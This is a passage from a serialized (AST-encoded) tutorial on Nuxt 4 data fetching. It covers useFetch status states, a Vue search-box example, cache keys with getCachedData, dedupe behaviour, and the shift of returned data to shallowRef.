",{"type":33,"tag":41,"props":11938,"children":11940},{"className":11939},[],[11941],{"type":38,"value":11942},"execute()",{"type":33,"tag":7534,"props":11944,"children":11945},{},[11946,11954],{"type":33,"tag":7568,"props":11947,"children":11948},{},[11949],{"type":33,"tag":41,"props":11950,"children":11952},{"className":11951},[],[11953],{"type":38,"value":8532},{"type":33,"tag":7568,"props":11955,"children":11956},{},[11957],{"type":38,"value":11958},"In flight",{"type":33,"tag":7534,"props":11960,"children":11961},{},[11962,11971],{"type":33,"tag":7568,"props":11963,"children":11964},{},[11965],{"type":33,"tag":41,"props":11966,"children":11968},{"className":11967},[],[11969],{"type":38,"value":11970},"success",{"type":33,"tag":7568,"props":11972,"children":11973},{},[11974],{"type":38,"value":11975},"Resolved",{"type":33,"tag":7534,"props":11977,"children":11978},{},[11979,11987],{"type":33,"tag":7568,"props":11980,"children":11981},{},[11982],{"type":33,"tag":41,"props":11983,"children":11985},{"className":11984},[],[11986],{"type":38,"value":3583},{"type":33,"tag":7568,"props":11988,"children":11989},{},[11990],{"type":38,"value":11991},"Rejected",{"type":33,"tag":34,"props":11993,"children":11994},{},[11995,11997,12002,12003,12008,12010,12015,12017,12022],{"type":38,"value":11996},"The distinction that matters is ",{"type":33,"tag":41,"props":11998,"children":12000},{"className":11999},[],[12001],{"type":38,"value":11923},{"type":38,"value":4521},{"type":33,"tag":41,"props":12004,"children":12006},{"className":12005},[],[12007],{"type":38,"value":8532},{"type":38,"value":12009},". A boolean cannot tell them apart, so a template driven by ",{"type":33,"tag":41,"props":12011,"children":12013},{"className":12012},[],[12014],{"type":38,"value":8532},{"type":38,"value":12016}," renders a spinner for a request that has not been made and never will be until something calls ",{"type":33,"tag":41,"props":12018,"children":12020},{"className":12019},[],[12021],{"type":38,"value":11942},{"type":38,"value":174},{"type":33,"tag":357,"props":12024,"children":12026},{"code":12025,"language":562,"meta":7,"className":1963,"style":7},"\u003Cscript setup>\nconst query = ref(\"\");\n\nconst { data: results, status, execute } = await useFetch(\"/api/search\", {\n  query: { q: query },\n  immediate: false,\n});\n\u003C/script>\n\n\u003Ctemplate>\n  \u003Cinput v-model=\"query\" @keyup.enter=\"execute()\" />\n\n  \u003Cp v-if=\"status === 'idle'\">Type a query and press enter\u003C/p>\n  \u003Cp v-else-if=\"status === 'pending'\">Searching\u003C/p>\n  \u003Cp v-else-if=\"status === 'error'\">Search is unavailable\u003C/p>\n  \u003Cul v-else>\n    \u003Cli v-for=\"result in results\" :key=\"result.id\">{{ result.title }}\u003C/li>\n  \u003C/ul>\n\u003C/template>\n",[12027],{"type":33,"tag":41,"props":12028,"children":12029},{"__ignoreMap":7},[12030,12049,12085,12092,12174,12211,12231,12242,12257,12264,12279,12357,12364,12428,12492,12556,12575,12683,12698],{"type":33,"tag":367,"props":12031,"children":12032},{"class":369,"line":370},[12033,12037,12041,12045],{"type":33,"tag":367,"props":12034,"children":12035},{"style":1974},[12036],{"type":38,"value":1977},{"type":33,"tag":367,"props":12038,"children":12039},{"style":1980},[12040],{"type":38,"value":1983},{"type":33,"tag":367,"props":12042,"children":12043},{"style":633},[12044],{"type":38,"value":1988},{"type":33,"tag":367,"props":12046,"children":12047},{"style":1974},[12048],{"type":38,"value":2015},{"type":33,"tag":367,"props":12050,"children":12051},{"class":369,"line":402},[12052,12056,12061,12065,12069,12073,12077,12081],{"type":33,"tag":367,"props":12053,"children":12054},{"style":812},[12055],{"type":38,"value":815},{"type":33,"tag":367,"props":12057,"children":12058},{"style":633},[12059],{"type":38,"value":12060}," query",{"type":33,"tag":367,"props":12062,"children":12063},{"style":380},[12064],{"type":38,"value":835},{"type":33,"tag":367,"props":12066,"children":12067},{"style":1124},[12068],{"type":38,"value":4106},{"type":33,"tag":367,"props":12070,"children":12071},{"style":533},[12072],{"type":38,"value":1131},{"type":33,"tag":367,"props":12074,"children":12075},{"style":380},[12076],{"type":38,"value":10798},{"type":33,"tag":367,"props":12078,"children":12079},{"style":533},[12080],{"type":38,"value":1141},{"type":33,"tag":367,"props":12082,"children":12083},{"style":380},[12084],{"type":38,"value":571},{"type":33,"tag":367,"props":12086,"children":12087},{"class":369,"line":574},[12088],{"type":33,"tag":367,"props":12089,"children":12090},{"emptyLinePlaceholder":726},[12091],{"type":38,"value":729},{"type":33,"tag":367,"props":12093,"children":12094},{"class":369,"line":625},[12095,12099,12103,12107,12111,12116,12120,12124,12128,12133,12137,12141,12145,12149,12153,12157,12162,12166,12170],{"type":33,"tag":367,"props":12096,"children":12097},{"style":812},[12098],{"type":38,"value":815},{"type":33,"tag":367,"props":12100,"children":12101},{"style":380},[12102],{"type":38,"value":1854},{"type":33,"tag":367,"props":12104,"children":12105},{"style":374},[12106],{"type":38,"value":8376},{"type":33,"tag":367,"props":12108,"children":12109},{"style":380},[12110],{"type":38,"value":825},{"type":33,"tag":367,"props":12112,"children":12113},{"style":633},[12114],{"type":38,"value":12115}," results",{"type":33,"tag":367,"props":12117,"children":12118},{"style":380},[12119],{"type":38,"value":593},{"type":33,"tag":367,"props":12121,"children":12122},{"style":633},[12123],{"type":38,"value":8394},{"type":33,"tag":367,"props":12125,"children":12126},{"style":380},[12127],{"type":38,"value":593},{"type":33,"tag":367,"props":12129,"children":12130},{"style":633},[12131],{"type":38,"value":12132}," execute",{"type":33,"tag":367,"props":12134,"children":12135},{"style":380},[12136],{"type":38,"value":547},{"type":33,"tag":367,"props":12138,"children":12139},{"style":380},[12140],{"type":38,"value":835},{"type":33,"tag":367,"props":12142,"children":12143},{"style":3682},[12144],{"type":38,"value":4288},{"type":33,"tag":367,"props":12146,"children":12147},{"style":1124},[12148],{"type":38,"value":8428},{"type":33,"tag":367,"props":12150,"children":12151},{"style":533},[12152],{"type":38,"value":1131},{"type":33,"tag":367,"props":12154,"children":12155},{"style":380},[12156],{"type":38,"value":388},{"type":33,"tag":367,"props":12158,"children":12159},{"style":391},[12160],{"type":38,"value":12161},"/api/search",{"type":33,"tag":367,"props":12163,"children":12164},{"style":380},[12165],{"type":38,"value":388},{"type":33,"tag":367,"props":12167,"children":12168},{"style":380},[12169],{"type":38,"value":593},{"type":33,"tag":367,"props":12171,"children":12172},{"style":533},[12173],{"type":38,"value":840},{"type":33,"tag":367,"props":12175,"children":12176},{"class":369,"line":681},[12177,12182,12186,12190,12195,12199,12203,12207],{"type":33,"tag":367,"props":12178,"children":12179},{"style":847},[12180],{"type":38,"value":12181},"  query",{"type":33,"tag":367,"props":12183,"children":12184},{"style":380},[12185],{"type":38,"value":825},{"type":33,"tag":367,"props":12187,"children":12188},{"style":533},[12189],{"type":38,"value":1854},{"type":33,"tag":367,"props":12191,"children":12192},{"style":847},[12193],{"type":38,"value":12194}," q",{"type":33,"tag":367,"props":12196,"children":12197},{"style":380},[12198],{"type":38,"value":825},{"type":33,"tag":367,"props":12200,"children":12201},{"style":374},[12202],{"type":38,"value":12060},{"type":33,"tag":367,"props":12204,"children":12205},{"style":533},[12206],{"type":38,"value":547},{"type":33,"tag":367,"props":12208,"children":12209},{"style":380},[12210],{"type":38,"value":908},{"type":33,"tag":367,"props":12212,"children":12213},{"class":369,"line":722},[12214,12219,12223,12227],{"type":33,"tag":367,"props":12215,"children":12216},{"style":847},[12217],{"type":38,"value":12218},"  immediate",{"type":33,"tag":367,"props":12220,"children":12221},{"style":380},[12222],{"type":38,"value":825},{"type":33,"tag":367,"props":12224,"children":12225},{"style":901},[12226],{"type":38,"value":5268},{"type":33,"tag":367,"props":12228,"children":12229},{"style":380},[12230],{"type":38,"value":908},{"type":33,"tag":367,"props":12232,"children":12233},{"class":369,"line":732},[12234,12238],{"type":33,"tag":367,"props":12235,"children":12236},{"style":533},[12237],{"type":38,"value":1532},{"type":33,"tag":367,"props":12239,"children":12240},{"style":380},[12241],{"type":38,"value":571},{"type":33,"tag":367,"props":12243,"children":12244},{"class":369,"line":766},[12245,12249,12253],{"type":33,"tag":367,"props":12246,"children":12247},{"style":1974},[12248],{"type":38,"value":2382},{"type":33,"tag":367,"props":12250,"children":12251},{"style":1980},[12252],{"type":38,"value":1983},{"type":33,"tag":367,"props":12254,"children":12255},{"style":1974},[12256],{"type":38,"value":2015},{"type":33,"tag":367,"props":12258,"children":12259},{"class":369,"line":800},[12260],{"type":33,"tag":367,"props":12261,"children":12262},{"emptyLinePlaceholder":726},[12263],{"type":38,"value":729},{"type":33,"tag":367,"props":12265,"children":12266},{"class":369,"line":808},[12267,12271,12275],{"type":33,"tag":367,"props":12268,"children":12269},{"style":1974},[12270],{"type":38,"value":1977},{"type":33,"tag":367,"props":12272,"children":12273},{"style":1980},[12274],{"type":38,"value":2409},{"type":33,"tag":367,"props":12276,"children":12277},{"style":1974},[12278],{"type":38,"value":2015},{"type":33,"tag":367,"props":12280,"children":12281},{"class":369,"line":843},[12282,12286,12291,12296,12300,12304,12309,12313,12317,12322,12326,12331,12335,12339,12344,12348,12352],{"type":33,"tag":367,"props":12283,"children":12284},{"style":1974},[12285],{"type":38,"value":2421},{"type":33,"tag":367,"props":12287,"children":12288},{"style":1980},[12289],{"type":38,"value":12290},"input",{"type":33,"tag":367,"props":12292,"children":12293},{"style":633},[12294],{"type":38,"value":12295}," v-model",{"type":33,"tag":367,"props":12297,"children":12298},{"style":380},[12299],{"type":38,"value":383},{"type":33,"tag":367,"props":12301,"children":12302},{"style":380},[12303],{"type":38,"value":388},{"type":33,"tag":367,"props":12305,"children":12306},{"style":374},[12307],{"type":38,"value":12308},"query",{"type":33,"tag":367,"props":12310,"children":12311},{"style":380},[12312],{"type":38,"value":388},{"type":33,"tag":367,"props":12314,"children":12315},{"style":380},[12316],{"type":38,"value":2458},{"type":33,"tag":367,"props":12318,"children":12319},{"style":633},[12320],{"type":38,"value":12321},"keyup",{"type":33,"tag":367,"props":12323,"children":12324},{"style":380},[12325],{"type":38,"value":174},{"type":33,"tag":367,"props":12327,"children":12328},{"style":633},[12329],{"type":38,"value":12330},"enter",{"type":33,"tag":367,"props":12332,"children":12333},{"style":380},[12334],{"type":38,"value":383},{"type":33,"tag":367,"props":12336,"children":12337},{"style":380},[12338],{"type":38,"value":388},{"type":33,"tag":367,"props":12340,"children":12341},{"style":1124},[12342],{"type":38,"value":12343},"execute",{"type":33,"tag":367,"props":12345,"children":12346},{"style":533},[12347],{"type":38,"value":1197},{"type":33,"tag":367,"props":12349,"children":12350},{"style":380},[12351],{"type":38,"value":388},{"type":33,"tag":367,"props":12353,"children":12354},{"style":1974},[12355],{"type":38,"value":12356}," />\n",{"type":33,"tag":367,"props":12358,"children":12359},{"class":369,"line":861},[12360],{"type":33,"tag":367,"props":12361,"children":12362},{"emptyLinePlaceholder":726},[12363],{"type":38,"value":729},{"type":33,"tag":367,"props":12365,"children":12366},{"class":369,"line":911},[12367,12371,12375,12379,12383,12387,12391,12395,12399,12403,12407,12411,12416,12420,12424],{"type":33,"tag":367,"props":12368,"children":12369},{"style":1974},[12370],{"type":38,"value":2421},{"type":33,"tag":367,"props":12372,"children":12373},{"style":1980},[12374],{"type":38,"value":34},{"type":33,"tag":367,"props":12376,"children":12377},{"style":633},[12378],{"type":38,"value":2431},{"type":33,"tag":367,"props":12380,"children":12381},{"style":380},[12382],{"type":38,"value":383},{"type":33,"tag":367,"props":12384,"children":12385},{"style":380},[12386],{"type":38,"value":388},{"type":33,"tag":367,"props":12388,"children":12389},{"style":374},[12390],{"type":38,"value":8518},{"type":33,"tag":367,"props":12392,"children":12393},{"style":633},[12394],{"type":38,"value":1391},{"type":33,"tag":367,"props":12396,"children":12397},{"style":380},[12398],{"type":38,"value":8527},{"type":33,"tag":367,"props":12400,"children":12401},{"style":391},[12402],{"type":38,"value":11923},{"type":33,"tag":367,"props":12404,"children":12405},{"style":380},[12406],{"type":38,"value":8537},{"type":33,"tag":367,"props":12408,"children":12409},{"style":1974},[12410],{"type":38,"value":2484},{"type":33,"tag":367,"props":12412,"children":12413},{"style":2487},[12414],{"type":38,"value":12415},"Type a query and press enter",{"type":33,"tag":367,"props":12417,"children":12418},{"style":1974},[12419],{"type":38,"value":2382},{"type":33,"tag":367,"props":12421,"children":12422},{"style":1980},[12423],{"type":38,"value":34},{"type":33,"tag":367,"props":12425,"children":12426},{"style":1974},[12427],{"type":38,"value":2015},{"type":33,"tag":367,"props":12429,"children":12430},{"class":369,"line":956},[12431,12435,12439,12443,12447,12451,12455,12459,12463,12467,12471,12475,12480,12484,12488],{"type":33,"tag":367,"props":12432,"children":12433},{"style":1974},[12434],{"type":38,"value":2421},{"type":33,"tag":367,"props":12436,"children":12437},{"style":1980},[12438],{"type":38,"value":34},{"type":33,"tag":367,"props":12440,"children":12441},{"style":633},[12442],{"type":38,"value":8574},{"type":33,"tag":367,"props":12444,"children":12445},{"style":380},[12446],{"type":38,"value":383},{"type":33,"tag":367,"props":12448,"children":12449},{"style":380},[12450],{"type":38,"value":388},{"type":33,"tag":367,"props":12452,"children":12453},{"style":374},[12454],{"type":38,"value":8518},{"type":33,"tag":367,"props":12456,"children":12457},{"style":633},[12458],{"type":38,"value":1391},{"type":33,"tag":367,"props":12460,"children":12461},{"style":380},[12462],{"type":38,"value":8527},{"type":33,"tag":367,"props":12464,"children":12465},{"style":391},[12466],{"type":38,"value":8532},{"type":33,"tag":367,"props":12468,"children":12469},{"style":380},[12470],{"type":38,"value":8537},{"type":33,"tag":367,"props":12472,"children":12473},{"style":1974},[12474],{"type":38,"value":2484},{"type":33,"tag":367,"props":12476,"children":12477},{"style":2487},[12478],{"type":38,"value":12479},"Searching",{"type":33,"tag":367,"props":12481,"children":12482},{"style":1974},[12483],{"type":38,"value":2382},{"type":33,"tag":367,"props":12485,"children":12486},{"style":1980},[12487],{"type":38,"value":34},{"type":33,"tag":367,"props":12489,"children":12490},{"style":1974},[12491],{"type":38,"value":2015},{"type":33,"tag":367,"props":12493,"children":12494},{"class":369,"line":985},[12495,12499,12503,12507,12511,12515,12519,12523,12527,12531,12535,12539,12544,12548,12552],{"type":33,"tag":367,"props":12496,"children":12497},{"style":1974},[12498],{"type":38,"value":2421},{"type":33,"tag":367,"props":12500,"children":12501},{"style":1980},[12502],{"type":38,"value":34},{"type":33,"tag":367,"props":12504,"children":12505},{"style":633},[12506],{"type":38,"value":8574},{"type":33,"tag":367,"props":12508,"children":12509},{"style":380},[12510],{"type":38,"value":383},{"type":33,"tag":367,"props":12512,"children":12513},{"style":380},[12514],{"type":38,"value":388},{"type":33,"tag":367,"props":12516,"children":12517},{"style":374},[12518],{"type":38,"value":8518},{"type":33,"tag":367,"props":12520,"children":12521},{"style":633},[12522],{"type":38,"value":1391},{"type":33,"tag":367,"props":12524,"children":12525},{"style":380},[12526],{"type":38,"value":8527},{"type":33,"tag":367,"props":12528,"children":12529},{"style":391},[12530],{"type":38,"value":3583},{"type":33,"tag":367,"props":12532,"children":12533},{"style":380},[12534],{"type":38,"value":8537},{"type":33,"tag":367,"props":12536,"children":12537},{"style":1974},[12538],{"type":38,"value":2484},{"type":33,"tag":367,"props":12540,"children":12541},{"style":2487},[12542],{"type":38,"value":12543},"Search is unavailable",{"type":33,"tag":367,"props":12545,"children":12546},{"style":1974},[12547],{"type":38,"value":2382},{"type":33,"tag":367,"props":12549,"children":12550},{"style":1980},[12551],{"type":38,"value":34},{"type":33,"tag":367,"props":12553,"children":12554},{"style":1974},[12555],{"type":38,"value":2015},{"type":33,"tag":367,"props":12557,"children":12558},{"class":369,"line":1014},[12559,12563,12567,12571],{"type":33,"tag":367,"props":12560,"children":12561},{"style":1974},[12562],{"type":38,"value":2421},{"type":33,"tag":367,"props":12564,"children":12565},{"style":1980},[12566],{"type":38,"value":102},{"type":33,"tag":367,"props":12568,"children":12569},{"style":633},[12570],{"type":38,"value":2518},{"type":33,"tag":367,"props":12572,"children":12573},{"style":1974},[12574],{"type":38,"value":2015},{"type":33,"tag":367,"props":12576,"children":12577},{"class":369,"line":1027},[12578,12582,12586,12590,12594,12598,12602,12606,12611,12615,12619,12623,12627,12631,12635,12639,12643,12647,12651,12655,12659,12663,12667,12671,12675,12679],{"type":33,"tag":367,"props":12579,"children":12580},{"style":1974},[12581],{"type":38,"value":8654},{"type":33,"tag":367,"props":12583,"children":12584},{"style":1980},[12585],{"type":38,"value":106},{"type":33,"tag":367,"props":12587,"children":12588},{"style":633},[12589],{"type":38,"value":8663},{"type":33,"tag":367,"props":12591,"children":12592},{"style":380},[12593],{"type":38,"value":383},{"type":33,"tag":367,"props":12595,"children":12596},{"style":380},[12597],{"type":38,"value":388},{"type":33,"tag":367,"props":12599,"children":12600},{"style":374},[12601],{"type":38,"value":3439},{"type":33,"tag":367,"props":12603,"children":12604},{"style":380},[12605],{"type":38,"value":8681},{"type":33,"tag":367,"props":12607,"children":12608},{"style":374},[12609],{"type":38,"value":12610},"results",{"type":33,"tag":367,"props":12612,"children":12613},{"style":380},[12614],{"type":38,"value":388},{"type":33,"tag":367,"props":12616,"children":12617},{"style":380},[12618],{"type":38,"value":8695},{"type":33,"tag":367,"props":12620,"children":12621},{"style":633},[12622],{"type":38,"value":8700},{"type":33,"tag":367,"props":12624,"children":12625},{"style":380},[12626],{"type":38,"value":383},{"type":33,"tag":367,"props":12628,"children":12629},{"style":380},[12630],{"type":38,"value":388},{"type":33,"tag":367,"props":12632,"children":12633},{"style":374},[12634],{"type":38,"value":3439},{"type":33,"tag":367,"props":12636,"children":12637},{"style":380},[12638],{"type":38,"value":174},{"type":33,"tag":367,"props":12640,"children":12641},{"style":527},[12642],{"type":38,"value":8721},{"type":33,"tag":367,"props":12644,"children":12645},{"style":380},[12646],{"type":38,"value":388},{"type":33,"tag":367,"props":12648,"children":12649},{"style":1974},[12650],{"type":38,"value":2484},{"type":33,"tag":367,"props":12652,"children":12653},{"style":380},[12654],{"type":38,"value":3023},{"type":33,"tag":367,"props":12656,"children":12657},{"style":374},[12658],{"type":38,"value":3294},{"type":33,"tag":367,"props":12660,"children":12661},{"style":380},[12662],{"type":38,"value":174},{"type":33,"tag":367,"props":12664,"children":12665},{"style":527},[12666],{"type":38,"value":8747},{"type":33,"tag":367,"props":12668,"children":12669},{"style":380},[12670],{"type":38,"value":3041},{"type":33,"tag":367,"props":12672,"children":12673},{"style":1974},[12674],{"type":38,"value":2382},{"type":33,"tag":367,"props":12676,"children":12677},{"style":1980},[12678],{"type":38,"value":106},{"type":33,"tag":367,"props":12680,"children":12681},{"style":1974},[12682],{"type":38,"value":2015},{"type":33,"tag":367,"props":12684,"children":12685},{"class":369,"line":1044},[12686,12690,12694],{"type":33,"tag":367,"props":12687,"children":12688},{"style":1974},[12689],{"type":38,"value":8771},{"type":33,"tag":367,"props":12691,"children":12692},{"style":1980},[12693],{"type":38,"value":102},{"type":33,"tag":367,"props":12695,"children":12696},{"style":1974},[12697],{"type":38,"value":2015},{"type":33,"tag":367,"props":12699,"children":12700},{"class":369,"line":1074},[12701,12705,12709],{"type":33,"tag":367,"props":12702,"children":12703},{"style":1974},[12704],{"type":38,"value":2382},{"type":33,"tag":367,"props":12706,"children":12707},{"style":1980},[12708],{"type":38,"value":2409},{"type":33,"tag":367,"props":12710,"children":12711},{"style":1974},[12712],{"type":38,"value":2015},{"type":33,"tag":34,"props":12714,"children":12715},{},[12716,12718,12723],{"type":38,"value":12717},"Four states, four branches. The ",{"type":33,"tag":41,"props":12719,"children":12721},{"className":12720},[],[12722],{"type":38,"value":11923},{"type":38,"value":12724}," branch is the one that a boolean loses.",{"type":33,"tag":95,"props":12726,"children":12728},{"id":12727},"keys-caching-and-the-nuxt-4-sharing-rule",[12729],{"type":38,"value":12730},"Keys, Caching, and the Nuxt 4 Sharing Rule",{"type":33,"tag":34,"props":12732,"children":12733},{},[12734,12736,12741,12743,12749],{"type":38,"value":12735},"The first argument to ",{"type":33,"tag":41,"props":12737,"children":12739},{"className":12738},[],[12740],{"type":38,"value":8050},{"type":38,"value":12742}," is the cache key. There is no separate ",{"type":33,"tag":41,"props":12744,"children":12746},{"className":12745},[],[12747],{"type":38,"value":12748},"cacheKey",{"type":38,"value":12750}," option, and there never was.",{"type":33,"tag":34,"props":12752,"children":12753},{},[12754,12756,12762],{"type":38,"value":12755},"Keys are how the payload is looked up on hydration, how ",{"type":33,"tag":41,"props":12757,"children":12759},{"className":12758},[],[12760],{"type":38,"value":12761},"refreshNuxtData(key)",{"type":38,"value":12763}," finds the right entry, and how two components asking for the same thing get one request.",{"type":33,"tag":34,"props":12765,"children":12766},{},[12767,12773],{"type":33,"tag":41,"props":12768,"children":12770},{"className":12769},[],[12771],{"type":38,"value":12772},"getCachedData",{"type":38,"value":12774}," gives you control over reuse across navigations:",{"type":33,"tag":357,"props":12776,"children":12778},{"code":12777,"language":8808,"meta":7,"className":8809,"style":7},"const { data: settings } = await useAsyncData(\n  \"settings\",\n  () => $fetch(\"/api/settings\"),\n  {\n    getCachedData: (key, nuxtApp) =>\n      nuxtApp.payload.data[key] ?? nuxtApp.static.data[key],\n  }\n);\n",[12779],{"type":33,"tag":41,"props":12780,"children":12781},{"__ignoreMap":7},[12782,12826,12846,12886,12893,12929,13006,13013],{"type":33,"tag":367,"props":12783,"children":12784},{"class":369,"line":370},[12785,12789,12793,12797,12801,12806,12810,12814,12818,12822],{"type":33,"tag":367,"props":12786,"children":12787},{"style":812},[12788],{"type":38,"value":815},{"type":33,"tag":367,"props":12790,"children":12791},{"style":380},[12792],{"type":38,"value":1854},{"type":33,"tag":367,"props":12794,"children":12795},{"style":374},[12796],{"type":38,"value":8376},{"type":33,"tag":367,"props":12798,"children":12799},{"style":380},[12800],{"type":38,"value":825},{"type":33,"tag":367,"props":12802,"children":12803},{"style":633},[12804],{"type":38,"value":12805}," settings",{"type":33,"tag":367,"props":12807,"children":12808},{"style":380},[12809],{"type":38,"value":547},{"type":33,"tag":367,"props":12811,"children":12812},{"style":380},[12813],{"type":38,"value":835},{"type":33,"tag":367,"props":12815,"children":12816},{"style":3682},[12817],{"type":38,"value":4288},{"type":33,"tag":367,"props":12819,"children":12820},{"style":1124},[12821],{"type":38,"value":9474},{"type":33,"tag":367,"props":12823,"children":12824},{"style":533},[12825],{"type":38,"value":3338},{"type":33,"tag":367,"props":12827,"children":12828},{"class":369,"line":402},[12829,12833,12838,12842],{"type":33,"tag":367,"props":12830,"children":12831},{"style":380},[12832],{"type":38,"value":9903},{"type":33,"tag":367,"props":12834,"children":12835},{"style":391},[12836],{"type":38,"value":12837},"settings",{"type":33,"tag":367,"props":12839,"children":12840},{"style":380},[12841],{"type":38,"value":388},{"type":33,"tag":367,"props":12843,"children":12844},{"style":380},[12845],{"type":38,"value":908},{"type":33,"tag":367,"props":12847,"children":12848},{"class":369,"line":574},[12849,12853,12857,12861,12865,12869,12874,12878,12882],{"type":33,"tag":367,"props":12850,"children":12851},{"style":533},[12852],{"type":38,"value":9924},{"type":33,"tag":367,"props":12854,"children":12855},{"style":633},[12856],{"type":38,"value":1356},{"type":33,"tag":367,"props":12858,"children":12859},{"style":1124},[12860],{"type":38,"value":9933},{"type":33,"tag":367,"props":12862,"children":12863},{"style":533},[12864],{"type":38,"value":1131},{"type":33,"tag":367,"props":12866,"children":12867},{"style":380},[12868],{"type":38,"value":388},{"type":33,"tag":367,"props":12870,"children":12871},{"style":391},[12872],{"type":38,"value":12873},"/api/settings",{"type":33,"tag":367,"props":12875,"children":12876},{"style":380},[12877],{"type":38,"value":388},{"type":33,"tag":367,"props":12879,"children":12880},{"style":533},[12881],{"type":38,"value":1141},{"type":33,"tag":367,"props":12883,"children":12884},{"style":380},[12885],{"type":38,"value":908},{"type":33,"tag":367,"props":12887,"children":12888},{"class":369,"line":625},[12889],{"type":33,"tag":367,"props":12890,"children":12891},{"style":533},[12892],{"type":38,"value":9966},{"type":33,"tag":367,"props":12894,"children":12895},{"class":369,"line":681},[12896,12901,12905,12909,12913,12917,12921,12925],{"type":33,"tag":367,"props":12897,"children":12898},{"style":1124},[12899],{"type":38,"value":12900},"    getCachedData",{"type":33,"tag":367,"props":12902,"children":12903},{"style":380},[12904],{"type":38,"value":825},{"type":33,"tag":367,"props":12906,"children":12907},{"style":533},[12908],{"type":38,"value":1215},{"type":33,"tag":367,"props":12910,"children":12911},{"style":1344},[12912],{"type":38,"value":8700},{"type":33,"tag":367,"props":12914,"children":12915},{"style":380},[12916],{"type":38,"value":593},{"type":33,"tag":367,"props":12918,"children":12919},{"style":1344},[12920],{"type":38,"value":7291},{"type":33,"tag":367,"props":12922,"children":12923},{"style":533},[12924],{"type":38,"value":1141},{"type":33,"tag":367,"props":12926,"children":12927},{"style":633},[12928],{"type":38,"value":10024},{"type":33,"tag":367,"props":12930,"children":12931},{"class":369,"line":722},[12932,12937,12941,12945,12949,12953,12957,12961,12965,12969,12973,12977,12982,12986,12990,12994,12998,13002],{"type":33,"tag":367,"props":12933,"children":12934},{"style":374},[12935],{"type":38,"value":12936},"      nuxtApp",{"type":33,"tag":367,"props":12938,"children":12939},{"style":380},[12940],{"type":38,"value":174},{"type":33,"tag":367,"props":12942,"children":12943},{"style":374},[12944],{"type":38,"value":1424},{"type":33,"tag":367,"props":12946,"children":12947},{"style":380},[12948],{"type":38,"value":174},{"type":33,"tag":367,"props":12950,"children":12951},{"style":527},[12952],{"type":38,"value":10165},{"type":33,"tag":367,"props":12954,"children":12955},{"style":533},[12956],{"type":38,"value":1278},{"type":33,"tag":367,"props":12958,"children":12959},{"style":527},[12960],{"type":38,"value":8700},{"type":33,"tag":367,"props":12962,"children":12963},{"style":533},[12964],{"type":38,"value":2928},{"type":33,"tag":367,"props":12966,"children":12967},{"style":633},[12968],{"type":38,"value":2933},{"type":33,"tag":367,"props":12970,"children":12971},{"style":374},[12972],{"type":38,"value":7291},{"type":33,"tag":367,"props":12974,"children":12975},{"style":380},[12976],{"type":38,"value":174},{"type":33,"tag":367,"props":12978,"children":12979},{"style":374},[12980],{"type":38,"value":12981},"static",{"type":33,"tag":367,"props":12983,"children":12984},{"style":380},[12985],{"type":38,"value":174},{"type":33,"tag":367,"props":12987,"children":12988},{"style":527},[12989],{"type":38,"value":10165},{"type":33,"tag":367,"props":12991,"children":12992},{"style":533},[12993],{"type":38,"value":1278},{"type":33,"tag":367,"props":12995,"children":12996},{"style":527},[12997],{"type":38,"value":8700},{"type":33,"tag":367,"props":12999,"children":13000},{"style":533},[13001],{"type":38,"value":2928},{"type":33,"tag":367,"props":13003,"children":13004},{"style":380},[13005],{"type":38,"value":908},{"type":33,"tag":367,"props":13007,"children":13008},{"class":369,"line":732},[13009],{"type":33,"tag":367,"props":13010,"children":13011},{"style":533},[13012],{"type":38,"value":1523},{"type":33,"tag":367,"props":13014,"children":13015},{"class":369,"line":766},[13016,13020],{"type":33,"tag":367,"props":13017,"children":13018},{"style":533},[13019],{"type":38,"value":1141},{"type":33,"tag":367,"props":13021,"children":13022},{"style":380},[13023],{"type":38,"value":571},{"type":33,"tag":34,"props":13025,"children":13026},{},[13027,13029,13034],{"type":38,"value":13028},"Return a value and the handler is skipped. Return ",{"type":33,"tag":41,"props":13030,"children":13032},{"className":13031},[],[13033],{"type":38,"value":10173},{"type":38,"value":13035}," and it runs. That is the hook for \"fetch this once per session\" without a store.",{"type":33,"tag":34,"props":13037,"children":13038},{},[13039,13045,13047,13053,13055,13061,13063,13068],{"type":33,"tag":41,"props":13040,"children":13042},{"className":13041},[],[13043],{"type":38,"value":13044},"dedupe",{"type":38,"value":13046}," decides what happens when a second call fires while the first is still open. The default is ",{"type":33,"tag":41,"props":13048,"children":13050},{"className":13049},[],[13051],{"type":38,"value":13052},"'cancel'",{"type":38,"value":13054},", which drops the in-flight request and starts over. ",{"type":33,"tag":41,"props":13056,"children":13058},{"className":13057},[],[13059],{"type":38,"value":13060},"'defer'",{"type":38,"value":13062}," keeps the first one and ignores the new call. For a search box, ",{"type":33,"tag":41,"props":13064,"children":13066},{"className":13065},[],[13067],{"type":38,"value":13052},{"type":38,"value":13069}," is right, because the newest query is the only one anyone wants.",{"type":33,"tag":95,"props":13071,"children":13073},{"id":13072},"two-nuxt-4-changes-that-break-nuxt-3-code",[13074],{"type":38,"value":13075},"Two Nuxt 4 Changes That Break Nuxt 3 Code",{"type":33,"tag":7808,"props":13077,"children":13079},{"id":13078},"data-is-a-shallowref-now",[13080],{"type":38,"value":13081},"data Is a shallowRef Now",{"type":33,"tag":34,"props":13083,"children":13084},{},[13085,13087,13093,13095,13100],{"type":38,"value":13086},"In Nuxt 3 the default was deep reactivity. In Nuxt 4, ",{"type":33,"tag":41,"props":13088,"children":13090},{"className":13089},[],[13091],{"type":38,"value":13092},"deep",{"type":38,"value":13094}," defaults to ",{"type":33,"tag":41,"props":13096,"children":13098},{"className":13097},[],[13099],{"type":38,"value":10835},{"type":38,"value":13101},", so mutating a property inside the returned object updates the object but triggers nothing:",{"type":33,"tag":357,"props":13103,"children":13105},{"code":13104,"language":8808,"meta":7,"className":8809,"style":7},"const { data: user } = await useFetch(\"/api/user\");\n\nuser.value.name = \"Dulan\";        // no re-render in Nuxt 4\nuser.value = { ...user.value, name: \"Dulan\" };  // 